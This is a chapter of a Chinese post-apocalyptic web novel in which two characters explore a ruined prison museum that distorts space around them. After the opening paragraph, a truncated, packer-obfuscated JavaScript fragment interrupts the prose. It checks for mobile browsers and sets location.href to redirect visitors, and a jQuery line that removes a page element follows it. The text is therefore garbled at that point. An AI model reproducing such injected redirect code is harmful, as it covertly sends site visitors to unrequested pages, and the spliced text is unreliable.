应钟仰头望向天花板,只觉得天花板非常遥远。那一瞬间他几乎有种错觉:这个展厅简直比荒漠图书馆的玻璃大厅还要大! 可从外面看起来它明明很小。 维泽转过头,瞥了他一眼。忽然朝他伸出手。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397701|200328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 应钟后背一暖。这才发觉自己只顾着抬头看天花板,差点失去平衡。 幸好维泽伸出援手,在后面托了他一把。 “呃,谢了。”应钟正在尴尬,忽然发现维泽身上的丝线多出了许多根。 一部分丝线是与自己相连的,另一部分则幽幽地延伸向监狱深处。 应钟再次警觉起来。低声道:“跟紧我,别离开我太远。” 维泽正在看某个歪倒在地上的展柜,闻言“嗯”了一声。 荒木志保请他帮忙的是找到一枚戒指。据说是求婚戒指,一颗小小的钻戒,和荒木志保如今手指上戴着的一模一样。 监狱博物馆在大灾害中坍塌,这座废墟已经荒芜了二十年,却不像其他废弃建筑那样杂草丛生。 很多地方都有被翻动过的痕迹,看来荒木志保说得不错,他确实进来过很多次。 应钟打开手电筒。 和提灯不一样,手电筒的亮度更亮,光线也更聚集。用来在黑暗的废墟里找东西很合适,唯一的缺点是需要充电。 正好荒木志保有小型发电机。昨晚在灯塔吃饭的时候,应钟顺便给手电筒充了电,并且支付了报酬。 荒木志保含泪怒赚他一块铝合金。 “你知道的,这世道什么都不免费……”荒木志保憨厚而愉快的笑容浮现在脑海。 应钟想起这个又忍不住在心里吐槽。 博物馆的结构基本上和当年的监狱相同。外部是大厅,朝里走就是一个个的监狱格子间。上下两层,中间有条狭窄的通道。 应钟举着手电筒,谨慎戒备地前行。 天花板高得夸张,到处散落着巨大的水泥碎块。展示区的玻璃柜全部碎裂,亮闪闪的玻璃碎片里夹杂着各种各样的展品,基本还原了当年监狱里的场景。 “这些东西做得好逼真啊。”应钟用手电筒照亮碎玻璃堆里的一个袖珍椅子。 那个椅子大概只有指甲盖大小,纹理却非常细致。应钟凑过去睁大眼睛,甚至能看到上面清晰的木头纹路,以及座位部分被常年磨损出来的痕迹。 “竟然连屁.股印都有。”应钟惊叹道。 维泽没接话,只是专注地阅读着另一边的游览讲解。像有什么“看到第一个字就必须把整段话读完”的阅读癖。 据荒木志保说,大灾害发生的时候,他们一群游客正好在博物馆最深处的监狱区参观。 房屋坍塌,堵住了出去的路。 这里原先是监狱,墙体非常厚实。一群人就这么被困在了废墟里,把这里变成名副其实的监狱。 空气里有股说不上来的逼仄味道。应钟担心这里空气不流通,拿打火机点了下,可以顺利点燃。氧气供给应该没问题,但就是莫名地让人胸闷。 “你难受不难受。”应钟怕大少爷吃不消,转头问道,“要不要先出去透透气?” “不用。”维泽说。 维泽的声音听起来十分平静,似乎确实没感觉到身体不适。 应钟反而起了疑心。自己在末世里摸爬滚打了二十年,不可能体质比维泽这个大少爷还差。 难道是昨晚吃的罐头有问题? 但是没理由啊。荒木志保跟他们萍水相逢,就算是打劫……手握小型发电机以及一整个小镇物资的荒木志保,明显比他富有多了。不存在打劫的动机。 “你还是……”应钟想让维泽先出去再说,伸手去拉他,不知怎么那件学者外袍的衣角忽然像蝴蝶一样飞舞。 应钟睁大眼睛。眼睁睁看着维泽的衣角从他指尖逃走。 维泽不知道看见什么,忽然快步走向监狱最深处。 “维泽!”应钟赶紧追上去。正方形的狭小牢房忽然如同浪潮铺开! 巨大的不锈钢水杯几乎填满房间,染血的灰色绷带贴满墙壁。 一条小小的被子只有指甲盖那么大,牙刷斜插在墙角,刷毛穿透屋顶。 应钟瞳孔骤缩,在他踏进走廊的一瞬间,两边的牢房忽然全都朝他挤压过来。 应钟整个人头晕目眩,脚底升起强烈的危机感,他两腿发软,一下子失去平衡地跌坐下来。 两边的牢房不断朝他涌来,几乎将他压扁,连空气都被挤压殆尽。 应钟大口喘着气,心脏狂跳,大叫:“维泽!” 维泽停下脚步,转过身来看着他。 应钟撑着地面摇摇晃晃站起,维泽伸出手来扶他。 那一瞬间维泽的手忽然变得很长很长。雪白的手腕如同蟒蛇,柔柔摇摇着伸向他的指尖。 “啊啊啊啊!!!”心跳刹那间加速到顶点。应钟失控地大叫,掏出枪疯狂后退。